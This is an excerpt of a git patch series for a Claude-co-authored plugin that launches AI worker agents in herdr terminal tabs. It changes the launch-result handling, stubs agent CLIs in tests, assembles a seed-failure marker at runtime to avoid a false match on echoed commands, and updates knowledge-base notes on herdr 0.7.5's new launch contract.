+    rollback, exit codes); do not re-implement the herdr commands or the resolution
+    inline. Branch on its result **in this order**:
+    - **exit 0 with `blocked=unverified` (check this FIRST)** → a tab exists and
+      something may be running in it, but the launch could not be confirmed (the
+      worker never became detectable, herdr returned an error the helper cannot
+      classify, the pane id did not match, or a rollback could not be verified).
+      Report `pane=`/`tab=`/`agent=` and tell the user to **switch to that tab and
+      look** before doing anything else. Do **not** re-run the launch, do **not**
+      print the manual worker command, and do **not** save a project default — all
+      three would risk a second worker on the same worktree. Relay the helper's
+      stderr, which says what could not be confirmed.
     - **exit 0 with `moved=yes`** → the task is running in its own background tab
       (`tab=<id>`) with worker `agent=<cli:model>`. Report success (template below).
-    - **exit 0 with `moved=no`** → the worker started but the tab move failed, so it
-      is running as a split in *this* session's tab — tell the user it's here, not in
-      a new tab. The helper's stderr for this call carries herdr's own error
-      (code/message) ahead of its own generic line — **relay that stderr text to the
-      user**, not just "the move failed." (This call never sends `--workspace`, so
+    - **exit 0 with `moved=no`** (legacy herdr only) → the worker started but the tab
+      move failed, so it is running as a split in *this* session's tab — tell the user
+      it's here, not in a new tab. The helper's stderr for this call carries herdr's own
+      error (code/message) ahead of its own generic line — **relay that stderr text to
+      the user**, not just "the move failed." (This call never sends `--workspace`, so
       unlike the failure below there is no stale-workspace hint to expect here.)
-    - **After a successful launch (either `moved=` value), if `OFFER_DEFAULT=yes`**
-      (the picker path, user chose to save): `bash "$REG" default set "<agent>"`
-      (the `agent=` value) to write the repo's committed default. Mention it, and
-      that it's an uncommitted change to `.claude/work-system-agent` to commit when
-      ready. Skip on any non-zero launch (don't persist a default that didn't run).
+    - **After a confirmed launch (a `moved=` line, never on `blocked=unverified`), if
+      `OFFER_DEFAULT=yes`** (the picker path, user chose to save):
+      `bash "$REG" default set "<agent>"` (the `agent=` value) to write the repo's
+      committed default. Mention it, and that it's an uncommitted change to
+      `.claude/work-system-agent` to commit when ready. Skip on any non-zero launch
+      (don't persist a default that didn't run).
     - **exit 2** → unknown/invalid selector. Tell the user and re-offer the picker.
     - **exit 3** → the chosen agent is unavailable (stdout `unavailable=<name>` +
       `note=<hint>`). Report it verbatim (e.g. "codex not ready — run: codex login")
       and re-offer the picker or another selector. Nothing was spawned.
     - **other non-zero exit** → the helper could not automate (herdr/python3 missing,
-      broken socket, or no pane id). **Relay the helper's stderr to the user first**
-      — on a broken-socket/no-pane-id failure it carries herdr's own error
-      (code/message, and a stale-workspace hint when applicable), the actual reason
-      this happened, not just the generic guard text. Then show the manual block (b).
+      an unrecognizable `agent start` contract, a broken socket, or no pane id) — and
+      whatever it did create it has already rolled back. **Relay the helper's stderr to
+      the user first** — it carries herdr's own error (code/message, and a
+      stale-workspace hint when applicable), the actual reason this happened, not just
+      the generic guard text. Then show the manual block (b).
 
     Success report (fill `Tab` from the helper's `tab=` line, `Agent` from `agent=`):
     ```

From 49757468dd3d4c0e8099d25f9340d331cfd13166 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Tue, 11 Aug 2026 15:50:41 +0200
Subject: [PATCH 04/12] Make the launch tests independent of locally installed
 CLIs

The modern native and wrapper cases resolved through agent-registry's
live availability probes, so they skipped wherever codex/grok/kimi are
absent (CI) and went flaky where a `grok models` probe is slow. Stub the
worker CLIs and their auth files alongside the herdr stub, so every
launch path is asserted the same way everywhere.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .../work-system/scripts/test_herdr_launch.py  | 153 +++++++++---------
 1 file changed, 78 insertions(+), 75 deletions(-)

diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index dad1d83..b677b19 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -175,8 +175,25 @@ def __init__(self, cases, log_argv=False, api="legacy", help_text=None):
         herdr = bindir / "herdr"
         herdr.write_text(herdr_stub(cases, help_text))
         herdr.chmod(0o755)
+        # Stub the worker CLIs too, so a launch test never depends on which agents
+        # happen to be installed and authenticated on the machine running it — the
+        # registry's live probes would otherwise make these tests skip on CI and go
+        # flaky locally (a slow `grok models` alone changes the outcome).
+        for name, body in (
+            ("codex", 'if [ "$1" = "login" ]; then exit 0; fi\nexit 0\n'),
+            ("grok", 'if [ "$1" = "models" ]; then echo "grok-4.5"; fi\nexit 0\n'),
+            ("kimi", 'if [ "$1" = "provider" ]; then '
+                     "echo '{\"models\": {\"kimi-code/k3-256k\": {}}}'; fi\nexit 0\n"),
+        ):
+            stub = bindir / name
+            stub.write_text("#!/bin/sh\n" + body)
+            stub.chmod(0o755)
+        auth = root / "auth.json"
+        auth.write_text("{}\n")
         self.env = dict(os.environ)
         self.env["PATH"] = f"{bindir}:{self.env['PATH']}"
+        self.env["GROK_AUTH_FILE"] = str(auth)
+        self.env["KIMI_CREDENTIALS_FILE"] = str(auth)
         self.env["HERDR_STUB_STATE"] = str(state)
         # Keep every bounded wait fast and deterministic.
         self.env["WORK_SYSTEM_HERDR_RETRY_DELAY"] = "0"
@@ -458,11 +475,6 @@ def wrapper_cases(**over):
             log_argv=True, api="modern")
     r = e.run("launch", "t", str(e.worktree), "w1", selector, "sess1")
     label = selector or "claude(default)"
-    if kind != "claude" and r.returncode == 3:
-        # The CLI is not installed on this machine — availability is agent-registry's
-        # concern and is covered by its own tests; skip the launch assertions.
-        e.close()
-        continue
     starts = e.call_args("agent start")
     check(f"modern {label}: exit 0", r.returncode == 0)
     check(f"modern {label}: stdout is the stable contract",
@@ -617,60 +629,55 @@ def wrapper_cases(**over):
 # ========================================================================== #
 
 def kimi_run(cases, log_argv=True):
-    """Run a --kimi launch against a wrapper stub. Returns (env, result) or
-    (env, None) when kimi is not installed here (agent-registry exit 3)."""
+    """Run a --kimi launch against a wrapper stub; returns (env, result)."""
     env = Env(cases, log_argv=log_argv, api="modern")
     res = env.run("launch", "t", str(env.worktree), "w1", "--kimi", "sess1")
-    if res.returncode == 3:
-        env.close()
-        return None, None
+    check("wrapper: the stubbed kimi resolves (not an availability skip)",
+          res.returncode != 3)
     return env, res
 
 
 # --- happy path: one pane run, then detection of the expected kind --------- #
 e, r = kimi_run(wrapper_cases())
-if e is not None:
-    runs = e.call_args("pane run")
-    check("wrapper: exit 0", r.returncode == 0)
-    check("wrapper: stdout is the stable contract",
-          kv(r.stdout).get("moved") == "yes" and kv(r.stdout).get("pane") == "w1:p7")
-    check("wrapper: exactly one pane run", len(runs) == 1)
-    if runs:
-        # `pane run <PANE> <COMMAND>` — the whole wrapper must arrive as ONE word,
-        # not re-split or re-quoted by the launcher.
-        check("wrapper: the command is a single argv word", len(runs[0]) == 4)
-        cmd = runs[0][3]
-        check("wrapper: the registry's argv_shell is sent verbatim",
-              cmd.startswith("sh -c ") and "exec kimi -c --auto" in cmd)
-        check("wrapper: no agent start on this path",
-              "agent start" not in [n for n, _ in e.calls()])
-    check("wrapper: waited for the shell prompt before typing",
-          len(e.call_args("pane process-info")) >= 1)
-    check("wrapper: the tab was not rolled back",
-          "tab close" not in [n for n, _ in e.calls()])
-    e.close()
+runs = e.call_args("pane run")
+check("wrapper: exit 0", r.returncode == 0)
+check("wrapper: stdout is the stable contract",
+      kv(r.stdout).get("moved") == "yes" and kv(r.stdout).get("pane") == "w1:p7")
+check("wrapper: exactly one pane run", len(runs) == 1)
+if runs:
+    # `pane run <PANE> <COMMAND>` — the whole wrapper must arrive as ONE word,
+    # not re-split or re-quoted by the launcher.
+    check("wrapper: the command is a single argv word", len(runs[0]) == 4)
+    cmd = runs[0][3]
+    check("wrapper: the registry's argv_shell is sent verbatim",
+          cmd.startswith("sh -c ") and "exec kimi -c --auto" in cmd)
+    check("wrapper: no agent start on this path",
+          "agent start" not in [n for n, _ in e.calls()])
+check("wrapper: waited for the shell prompt before typing",
+      len(e.call_args("pane process-info")) >= 1)
+check("wrapper: the tab was not rolled back",
+      "tab close" not in [n for n, _ in e.calls()])
+e.close()
 
 # --- detection never sees the worker -> unverified, no retry, tab kept ----- #
 e, r = kimi_run(wrapper_cases(**{"pane get": (pane_get(), "", 0)}))
-if e is not None:
-    check("wrapper timeout: exit 0 with blocked=unverified",
-          r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
-    check("wrapper timeout: bounded polling", len(e.call_args("pane get")) == 3)
-    check("wrapper timeout: the command was sent exactly once (no second start)",
-          len(e.call_args("pane run")) == 1)
-    check("wrapper timeout: the tab is left for inspection",
-          "tab close" not in [n for n, _ in e.calls()])
-    e.close()
+check("wrapper timeout: exit 0 with blocked=unverified",
+      r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
+check("wrapper timeout: bounded polling", len(e.call_args("pane get")) == 3)
+check("wrapper timeout: the command was sent exactly once (no second start)",
+      len(e.call_args("pane run")) == 1)
+check("wrapper timeout: the tab is left for inspection",
+      "tab close" not in [n for n, _ in e.calls()])
+e.close()
 
 # --- a DIFFERENT kind is detected -> unverified, not success --------------- #
 e, r = kimi_run(wrapper_cases(**{"pane get": (pane_get("claude"), "", 0)}))
-if e is not None:
-    check("wrapper wrong kind: blocked=unverified", r.stdout.startswith("blocked=unverified\n"))
-    check("wrapper wrong kind: names what was detected",
-          "'claude'" in r.stderr and "'kimi'" in r.stderr)
-    check("wrapper wrong kind: stops immediately", len(e.call_args("pane get")) == 1)
-    check("wrapper wrong kind: no rollback", "tab close" not in [n for n, _ in e.calls()])
-    e.close()
+check("wrapper wrong kind: blocked=unverified", r.stdout.startswith("blocked=unverified\n"))
+check("wrapper wrong kind: names what was detected",
+      "'claude'" in r.stderr and "'kimi'" in r.stderr)
+check("wrapper wrong kind: stops immediately", len(e.call_args("pane get")) == 1)
+check("wrapper wrong kind: no rollback", "tab close" not in [n for n, _ in e.calls()])
+e.close()
 
 # --- the seed-failure marker is DEFINITIVE -> roll the tab back ------------ #
 e, r = kimi_run(wrapper_cases(**{
@@ -678,46 +685,42 @@ def kimi_run(cases, log_argv=True):
     "pane read": ("$ sh -c ...\n[work-system] WORKER_SEED_FAILED: kimi seed exited 1 - "
                   "TASK.md was NOT started and no session was opened.\n$ ", "", 0),
 }))
-if e is not None:
-    check("wrapper seed failure: exit 1", r.returncode == 1)
-    check("wrapper seed failure: names the marker", "WORKER_SEED_FAILED" in r.stderr)
-    check("wrapper seed failure: says TASK.md was not started",
-          "TASK.md was not started" in r.stderr)
-    check("wrapper seed failure: tab closed exactly once",
-          len(e.call_args("tab close")) == 1)
-    check("wrapper seed failure: no stdout", r.stdout == "")
-    e.close()
+check("wrapper seed failure: exit 1", r.returncode == 1)
+check("wrapper seed failure: names the marker", "WORKER_SEED_FAILED" in r.stderr)
+check("wrapper seed failure: says TASK.md was not started",
+      "TASK.md was not started" in r.stderr)
+check("wrapper seed failure: tab closed exactly once",
+      len(e.call_args("tab close")) == 1)
+check("wrapper seed failure: no stdout", r.stdout == "")
+e.close()
 
 # --- the shell never reaches a prompt -> nothing typed, tab rolled back ---- #
 e, r = kimi_run(wrapper_cases(**{"pane process-info": (SHELL_BUSY, "", 0)}))
-if e is not None:
-    check("wrapper shell busy: exit 1", r.returncode == 1)
-    check("wrapper shell busy: nothing was typed into the pane",
-          "pane run" not in [n for n, _ in e.calls()])
-    check("wrapper shell busy: tab closed exactly once",
-          len(e.call_args("tab close")) == 1)
-    check("wrapper shell busy: bounded wait", len(e.call_args("pane process-info")) == 3)
-    e.close()
+check("wrapper shell busy: exit 1", r.returncode == 1)
+check("wrapper shell busy: nothing was typed into the pane",
+      "pane run" not in [n for n, _ in e.calls()])
+check("wrapper shell busy: tab closed exactly once",
+      len(e.call_args("tab close")) == 1)
+check("wrapper shell busy: bounded wait", len(e.call_args("pane process-info")) == 3)
+e.close()
 
 # --- an unreadable readiness answer degrades to "proceed", not to a block -- #
 e, r = kimi_run(wrapper_cases(**{"pane process-info": ("not json at all", "", 0)}))
-if e is not None:
-    check("wrapper readiness unknown: still launches", r.returncode == 0)
-    check("wrapper readiness unknown: asked once, then proceeded",
-          len(e.call_args("pane process-info")) == 1)
-    e.close()
+check("wrapper readiness unknown: still launches", r.returncode == 0)
+check("wrapper readiness unknown: asked once, then proceeded",
+      len(e.call_args("pane process-info")) == 1)
+e.close()
 
 # --- pane run itself is rejected -> definitive, tab rolled back ------------ #
 e, r = kimi_run(wrapper_cases(**{
     "pane run": ("", jsonlib.dumps(
         {"error": {"code": "pane_not_found", "message": "pane w1:p7 not found"}}), 1)}))
-if e is not None:
-    check("wrapper run rejected: exit 1", r.returncode == 1)
-    check("wrapper run rejected: tab closed exactly once",
-          len(e.call_args("tab close")) == 1)
-    check("wrapper run rejected: never polled for detection",
-          "pane get" not in [n for n, _ in e.calls()])
-    e.close()
+check("wrapper run rejected: exit 1", r.returncode == 1)
+check("wrapper run rejected: tab closed exactly once",
+      len(e.call_args("tab close")) == 1)
+check("wrapper run rejected: never polled for detection",
+      "pane get" not in [n for n, _ in e.calls()])
+e.close()
 
 
 if FAILS:

From c958926f9e167a0916578eda0a495cd459775194 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Tue, 11 Aug 2026 15:56:13 +0200
Subject: [PATCH 05/12] Assemble the seed-failure marker at runtime, not in the
 script text
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Live on herdr 0.8 a healthy `--kimi` launch was rolled back within two
seconds: a pane echoes the command it was given, so the wrapper's own
script text carried the marker and the launcher's pane grep matched it
immediately. The wrapper now builds the token from two halves at
runtime, so the typed command never contains the literal while the
printed failure line still does.

Tests pin both sides: the literal must be absent from the script text
and present in the executed output, and a pane whose only content is the
echoed command must read as "starting", never as a failed seed.

Verified live on herdr 0.8 in disposable tabs: native `--grok` (tab
create → agent start --kind grok --pane, same pane back, detected as
grok) and wrapper `--kimi` (pane run → detected as kimi in ~5s), the
seed-failure rollback, and that an unrecognizable API creates no tab.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 plugins/work-system/scripts/agent-registry.sh     | 10 +++++++++-
 .../work-system/scripts/test_agent_registry.py    | 13 ++++++++++---
 plugins/work-system/scripts/test_herdr_launch.py  | 15 +++++++++++++++
 3 files changed, 34 insertions(+), 4 deletions(-)

diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index 20d4af5..0f18d5b 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -118,7 +118,15 @@ BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on
 # worker to be detected, so a dead seed is a DEFINITIVE failure (roll the tab back)
 # instead of an ambiguous "maybe still starting" timeout. Emitted to callers as
 # `herdr_marker=` for every pane-run entry — never hardcode it in a consumer.
+#
+# The wrapper ASSEMBLES the token at runtime (`m=WORKER_SEED` … `${m}_FAILED`) so
+# the whole literal never appears in the command line itself. Found live: a pane
+# echoes the command it was given, so a script containing the literal token made
+# the launcher "detect" a seed failure the instant it typed the command — killing
+# a perfectly healthy launch. Splitting it keeps the printed output greppable while
+# the typed command is not.
 SEED_FAIL_MARKER='WORKER_SEED_FAILED'
+SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
 
 # kimi's two-phase launch script (see the header). Defined once here so the shape
 # has exactly one home; emit_argv passes it as the `sh -c` word.
@@ -141,7 +149,7 @@ SEED_FAIL_MARKER='WORKER_SEED_FAILED'
 # Kept ASCII-only and free of backslash escapes so `shell_quote` renders it as a
 # plain single-quoted word in `argv_shell=` — a `$'…'` form would be bash/zsh-only
 # and near-unreadable in the copy-paste block.
-KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; echo; echo "[work-system] '"$SEED_FAIL_MARKER"': kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
+KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
 
 # ---------- registry ----------
 # `flag|cli|model|supports|herdr_mode|herdr_kind`. flag `-` = no shorthand
diff --git a/plugins/work-system/scripts/test_agent_registry.py b/plugins/work-system/scripts/test_agent_registry.py
index 78e347b..a65eeb4 100644
--- a/plugins/work-system/scripts/test_agent_registry.py
+++ b/plugins/work-system/scripts/test_agent_registry.py
@@ -185,8 +185,9 @@ def kv(out):
 # (interactive + autonomous, inheriting the seed's session history).
 SEED_MARKER = "WORKER_SEED_FAILED"
 KIMI_SCRIPT = (
-    'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; echo; '
-    f'echo "[work-system] {SEED_MARKER}: kimi seed exited $rc - '
+    'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; '
+    f'm={SEED_MARKER[: -len("_FAILED")]}; echo; '
+    'echo "[work-system] ${m}_FAILED: kimi seed exited $rc - '
     'TASK.md was NOT started and no session was opened."; exit $rc; fi'
 )
 
@@ -223,7 +224,13 @@ def kv(out):
 # A failed seed must be unambiguous: a machine-readable marker (herdr-launch.sh
 # greps the pane for it), an explicit "not started", no phase 2, and no wait for a
 # keypress nobody is there to press.
-check("seed failure prints the machine-readable marker", SEED_MARKER in script)
+# The literal token must NOT be in the script text: a pane echoes the command it
+# was given, so a launcher grepping that pane for the marker would "detect" a seed
+# failure the moment it typed the command — killing a healthy launch (found live).
+# The script assembles the token at runtime instead; the executed-output assertions
+# further down prove it still reaches the screen intact.
+check("the marker literal is NOT in the typed command", SEED_MARKER not in script)
+check("the marker is assembled at runtime", "${m}_FAILED" in script)
 check("seed failure states TASK.md was not started", "TASK.md was NOT started" in script)
 check("seed failure does not wait for input", "read " not in script)
 check("phase 2 is gated behind the seed's success",
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index b677b19..a9989f0 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -694,6 +694,21 @@ def kimi_run(cases, log_argv=True):
 check("wrapper seed failure: no stdout", r.stdout == "")
 e.close()
 
+# --- the ECHOED command must not read as a seed failure -------------------- #
+# A pane shows the command it was given. The wrapper therefore assembles its marker
+# at runtime, and this pins the consequence: a pane whose only content is that
+# command must still be treated as "starting", never as a failed seed.
+e, r = kimi_run(wrapper_cases(**{
+    "pane read": ("$ sh -c 'if kimi -m \"$1\" -p \"$2\"; then exec kimi -c --auto; "
+                  'else rc=$?; m=WORKER_SEED; echo; echo "[work-system] ${m}_FAILED: '
+                  "kimi seed exited $rc - TASK.md was NOT started and no session was "
+                  "opened.\"; exit $rc; fi' kimi-worker kimi-code/k3-256k '...'\n", "", 0),
+}))
+check("echoed command: still a normal launch, not a seed failure", r.returncode == 0)
+check("echoed command: the tab was NOT rolled back",
+      "tab close" not in [n for n, _ in e.calls()])
+e.close()
+
 # --- the shell never reaches a prompt -> nothing typed, tab rolled back ---- #
 e, r = kimi_run(wrapper_cases(**{"pane process-info": (SHELL_BUSY, "", 0)}))
 check("wrapper shell busy: exit 1", r.returncode == 1)

From 3f27c1da3bc5c696f25d3d313fbd50009355a242 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Tue, 11 Aug 2026 16:00:23 +0200
Subject: [PATCH 06/12] Record the dual herdr launch contract in the knowledge
 base
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- herdr-kickoff-automation: new section on the 0.7.5 contract change —
  feature detection over version compare, registry-declared transport,
  the bounded agent_pane_busy retry as the modern equivalent of
  argv-exec's race-freedom, rollback vs blocked=unverified, and the
  "a pane echoes what you type into it" marker gotcha found live
- kickoff-agent-selection: the registry now owns transport metadata too,
  and kimi's seed failure is a hard stop rather than a keypress
- herdr-close-automation: which side closes the tab flipped — on 0.7.5+
  the armed marker plus SessionEnd hook is primary, and agent_status
  still populates because the worker is a registered agent

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .../features/herdr-close-automation.md        |  24 ++--
 .../features/herdr-kickoff-automation.md      | 117 +++++++++++++++---
 .../features/kickoff-agent-selection.md       |  38 ++++--
 3 files changed, 145 insertions(+), 34 deletions(-)

diff --git a/.claude/knowledge/features/herdr-close-automation.md b/.claude/knowledge/features/herdr-close-automation.md
index 46f38b1..391710d 100644
--- a/.claude/knowledge/features/herdr-close-automation.md
+++ b/.claude/knowledge/features/herdr-close-automation.md
@@ -1,10 +1,10 @@
 ---
 title: "herdr /close Automation"
 createdAt: 2026-06-24
-updatedAt: 2026-07-12
+updatedAt: 2026-08-11
 createdFrom: "PR #18"
-updatedFrom: "session: 2026-07-12"
-pluginVersion: 1.8.2
+updatedFrom: "session: 2026-08-11 (herdr 0.7.5+ shell-pane lifecycle)"
+pluginVersion: 1.11.1
 prime: false
 reindexedAt: 2026-07-12
 ---
@@ -77,13 +77,19 @@ cleanly from another process:
   **is** the clean exit. (`send-text "/exit"` alone opens the slash-command menu;
   the separate `Return` runs it.)
 
-## Gotcha: clean exit auto-closes the tab; inject onto idle, not mid-turn
+## Gotcha: whether a clean exit closes the tab depends on the herdr version
 
-- When Claude is the tab's **root pane** (kickoff launches it via `agent start --
-  claude`), a clean `/exit` ends the pane's only process, so herdr **auto-closes the
-  tab**. The `SessionEnd` hook's `herdr tab close` is therefore a *backup* — it does
-  the real work only for sessions where Claude is *not* the root pane (e.g. launched
-  inside a shell pane), where exiting drops back to the shell and the tab survives.
+- **Only when Claude is the tab's root pane** does a clean `/exit` end the pane's
+  only process and make herdr auto-close the tab. That held while `/kickoff` used the
+  legacy `agent start --workspace --cwd -- <argv>` placement (herdr ≤0.7.4).
+- **herdr 0.7.5+ inverted it.** `agent start` now requires an already-open pane, so a
+  kickoff worker runs *inside* a shell pane: `/exit` drops back to that shell and the
+  tab survives. The `SessionEnd` hook's `herdr tab close` — armed by `/close`'s
+  per-pane marker — became the **primary** teardown there, not a backup. Never write
+  (or reason) as if the exit alone closed the tab; both paths rely on the marker.
+- What did **not** change: a modern kickoff worker is still a *registered* agent
+  (started via `agent start`), so `agent_status` keeps populating and the idle-poller
+  below is unaffected. Only the "who closes the tab" half moved.
 - **Self-close injects onto an idle prompt, never mid-turn.** `/close` is itself a
   turn; injecting `/exit` while Claude is busy is unreliable. The helper's `self-exit`
   arms a **detached** injector (`nohup … & disown`) that **polls the pane's
diff --git a/.claude/knowledge/features/herdr-kickoff-automation.md b/.claude/knowledge/features/herdr-kickoff-automation.md
index 0a22612..db10dab 100644
--- a/.claude/knowledge/features/herdr-kickoff-automation.md
+++ b/.claude/knowledge/features/herdr-kickoff-automation.md
@@ -1,10 +1,10 @@
 ---
 title: "herdr /kickoff + /continue-reopen Automation"
 createdAt: 2026-06-24
-updatedAt: 2026-07-23
+updatedAt: 2026-08-11
 createdFrom: "PR #17"
-updatedFrom: "session: 2026-07-23 (adopt auto-launch reuses launch)"
-pluginVersion: 1.9.3
+updatedFrom: "session: 2026-08-11 (herdr 0.7.5+ dual launch contract)"
+pluginVersion: 1.11.1
 prime: false
 reindexedAt: 2026-07-12
 ---
@@ -28,7 +28,9 @@ truth; this entry captures the durable design and one non-obvious gotcha.
   work-system 1.9.3 by `/adopt` (see the adopt note below) — per the project's
   helper-script convention and the "prose skill logic drifts" memory. The skill only
   derives the label and branches on the helper's `moved=yes|no` / exit code.
-- **Spawn the worker as argv, never type it into a shell.** The launch is
+- **Spawn the worker as argv, never type it into a shell** (the LEGACY contract —
+  herdr ≤0.7.4; see "herdr 0.7.5 changed the launch contract" below for what the
+  modern path does instead). The launch is
   `herdr agent start "<label>" … -- <worker argv>`, which execs the worker binary
   directly. As of work-system 1.9.0 the worker argv is **resolved from the chosen
   agent** by `agent-registry.sh` (`emit_argv`), not hardcoded: a claude worker is
@@ -43,12 +45,12 @@ truth; this entry captures the durable design and one non-obvious gotcha.
   `-- argv` form sidesteps the interactive shell entirely, so there is no keystroke
   race against shell startup (see the gotcha below) and no readiness handshake to
   maintain.
-- **`agent start` splits the caller's tab → move it out.** `herdr agent start`
-  (without `--tab`) lands the agent as a split pane in the *invoking* tab, so a
+- **`agent start` splits the caller's tab → move it out** (LEGACY only). `herdr agent
+  start` (without `--tab`) lands the agent as a split pane in the *invoking* tab, so a
   second step `herdr pane move "<pane>" --new-tab --label "<label>"` relocates it
   into its own background tab — one tab per task. The pane id comes from the start
   call's `result.agent.pane_id` (parsed with `python3`; `herdr pane move` does **not**
-  accept an agent name as target — verified).
+  accept an agent name as target — verified). On 0.7.5+ there is no move at all.
 - **One short `LABEL` for agent name + session.** `agent start "<label>"` (immediate,
   deterministic sidebar label) and `claude -n "<label>"` use one short,
   sidebar-friendly name (filler words like `automate`/`in` dropped). The `task/<name>`
@@ -117,6 +119,80 @@ truth; this entry captures the durable design and one non-obvious gotcha.
   in all of this — every case above, plus the stdout contract, as regression
   coverage the first round shipped without.
 
+## herdr 0.7.5 changed the launch contract (work-system 1.11.1)
+
+herdr 0.7.5 (still current in 0.8.0) redefined `agent start`: it no longer places
+the agent, it **starts one in an already-open pane at an interactive shell prompt**
+— `agent start <NAME> --kind <KIND> --pane <ID> [--timeout <MS>] [-- <args>]`.
+Placement moved to a preceding `tab create --workspace … --cwd … --label …
+--no-focus`. work-system 1.11.0 still sent the old flags, so a real launch died with
+`herdr error: unknown option: --workspace` → "did not return a pane id". Durable
+decisions from the fix:
+
+- **Feature-detect the contract, never version-compare.** `detect_launch_api()` reads
+  `herdr agent start --help` (bounded, read-only — no process is started to find out):
+  `--kind` AND `--pane` → modern; else `--workspace` AND `--cwd` → legacy; else
+  **stop before creating or starting anything**. A version compare would be wrong by
+  construction: 0.7.x spans BOTH contracts, so half that range routes to the wrong
+  path. `$WORK_SYSTEM_HERDR_API` overrides it (hermetic tests, and an escape hatch if
+  a future help text stops naming its flags).
+- **The registry declares the transport; the launcher never infers it.**
+  `agent-registry.sh resolve` emits `herdr_mode=agent-start|pane-run` +
+  `herdr_kind=<canonical cli>` (+ `herdr_marker=` for wrappers). `agent-start` means
+  argv[0] IS herdr's canonical executable for that kind, so the launcher drops
+  exactly that word and passes the rest to `--kind` unchanged — a *check*, not a
+  transformation, which is what keeps argument order and boundaries (codex/grok's
+  one-word bootstrap prompt, claude's one-word `/work-system:continue`) intact.
+  `pane-run` is for wrappers that cannot be projected onto a native kind — kimi's
+  two-phase `sh -c` seed+continue — sent as the registry's `argv_shell=` in ONE
+  `pane run` command (no `eval`, no re-quoting). Unknown mode → fail closed BEFORE
+  `tab create`. The pair is deliberately generic so a dynamically-registered wrapper
+  (cc-harness, PR #52) is `pane-run` + `herdr_kind=claude` with no launcher change.
+- **`agent_pane_busy` is the real-world failure, and the ONLY retried one.** Right
+  after `tab create` the pane's login shell is still running its rc files (direnv,
+  sops, ssh-add — measured at ~4s here), and herdr rejects the start with that code.
+  It is retried within a bounded window; every other error is retried zero times,
+  because a retry loop over an unclassified error is how a launcher starts two
+  workers. Exit code 2 (clap usage text: "unsupported interactive agent kind",
+  "missing required --pane", "unknown option: …") and no-such-pane codes are
+  *definitive* — herdr never touched the pane.
+- **Roll back only what provably started nothing; never kill a maybe-worker.**
+  Definitive failures close the created tab exactly once through
+  `herdr-teardown.sh close-tab` (the existing close-then-verify SoT — it deliberately
+  does not re-issue the close, since a recycled tab id would kill an unrelated live
+  tab). Ambiguous outcomes — readiness timeout, an unclassifiable herdr error, a
+  returned pane id that isn't the requested one, a wrapper detected as the wrong kind
+  — leave the tab alone and return the new fail-closed `blocked=unverified` result
+  (exit 0, `blocked` FIRST). An *unconfirmed* rollback downgrades to the same result:
+  a tab that may still exist must not be reported as a clean failure. Callers branch
+  on `blocked` before `moved`, and on it must not relaunch, print the manual worker
+  command, or persist a project default — mirroring the `resume` guard's shape.
+- **Wrapper readiness is herdr's own detection, not a timer.** After `pane run` the
+  launcher polls `pane get` until `result.pane.agent` equals the declared kind in
+  that exact pane. Verified live: herdr reports `agent=kimi` within ~5s of a
+  `kimi -p` seed (so the two-phase wrapper is detectable during phase 1, long before
+  `exec kimi -c --auto`), and `interactive_ready` is only set for agents started via
+  `agent start` — so it can't be the wrapper's signal. Before typing, a bounded wait
+  compares `pane process-info`'s `foreground_process_group_id` to `shell_pid`: equal
+  = the shell itself is in the foreground, i.e. safe to type into (the `pane run`
+  path has no herdr-side readiness check the way `agent start` does). An unreadable
+  answer degrades to "proceed" rather than blocking a launch forever.
+- **`moved=yes` is kept on the modern path** even though nothing moves — it means
+  "the verified worker is in its dedicated tab", and changing the key would break
+  every caller for a cosmetic gain.
+
+### Gotcha: a pane echoes the command you typed into it
+
+The wrapper's seed-failure marker (`WORKER_SEED_FAILED`, greppable via `pane read
+--source visible`) originally appeared as a literal inside the wrapper script. Live
+result: a **healthy** `--kimi` launch was rolled back after 2s, because the pane
+displays the command line it was given — so the launcher grepped its own typed
+command and "found" a failure. The wrapper now assembles the token at runtime
+(`m=WORKER_SEED` … `${m}_FAILED`), so the literal exists only in the printed output.
+Generalizes: any marker a supervisor greps out of a terminal must not appear in the
+text that supervisor types INTO that terminal. (`pane read`'s default `--source
+recent` also returns nothing once a pane settles — `visible` is the usable snapshot.)
+
 ## `/adopt` auto-launch: reference kickoff's prose, don't duplicate it
 
